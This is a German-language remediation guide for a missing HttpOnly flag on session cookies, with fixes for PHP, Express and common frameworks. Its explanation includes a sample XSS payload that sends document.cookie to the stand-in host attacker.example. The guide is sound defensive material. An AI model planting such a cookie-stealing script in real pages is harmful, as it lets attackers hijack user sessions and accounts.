Session-Cookie hat kein HttpOnly-Flag

Worum geht es

Ein Cookie, das ohne das HttpOnly-Flag gesetzt wird, ist aus JavaScript über document.cookie auslesbar. Gelingt es einem Angreifer, auf der Seite irgendein Stück JS auszuführen (XSS), liest er es aus und schickt es sich zu.

Warum das ein Problem ist

Ohne HttpOnly genügt dem Angreifer ein einziges kleines XSS (Kommentarfeld, Profil-Bio, Suchanfrage) und er ist am Ziel — er stiehlt das Session-Cookie und meldet sich als Sie an. Hier der übliche Payload:

<script>
fetch('https://attacker.example/' + btoa(document.cookie))
</script>

Mit HttpOnly ist document.cookie leer und der Angriff schlägt fehl. XSS an sich bleibt zwar ein Problem, aber zumindest bleibt die Session geschützt.

Wie man es behebt

HttpOnly ist ein Flag — Sie setzen es beim Erstellen des Cookies. Fast alle Frameworks haben es standardmäßig aktiviert, man schaltet es höchstens versehentlich explizit aus.

PHP

# php.ini
session.cookie_httponly = 1

# oder direkt im Code
setcookie('name', $value, [
    'httponly' => true,
    'secure'   => true,
    'samesite' => 'Lax',
]);

Node.js (express)

res.cookie('session', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
});

Laravel / Django / Rails

HttpOnly ist in allen modernen Session-Middlewares standardmäßig aktiviert. Wenn Ihr Befund ein Cookie ohne das Flag zeigt, hat es jemand in der Konfiguration ausgeschaltet. Stellen Sie den Standard wieder her.

Was kein HttpOnly haben darf

Cookies, die JavaScript absichtlich liest — typischerweise das CSRF-Token (z. B. Laravels XSRF-TOKEN). Das ist in Ordnung, denn ein Angreifer mit XSS braucht das CSRF-Token ohnehin nicht mehr.

Ein Cookie mit einem Session-Identifier oder Auth-Token muss jedoch immer HttpOnly sein.

Überprüfung

DevTools → Application → Cookies → Spalte HttpOnly. Für Session-/Auth-Cookies muss sie true sein.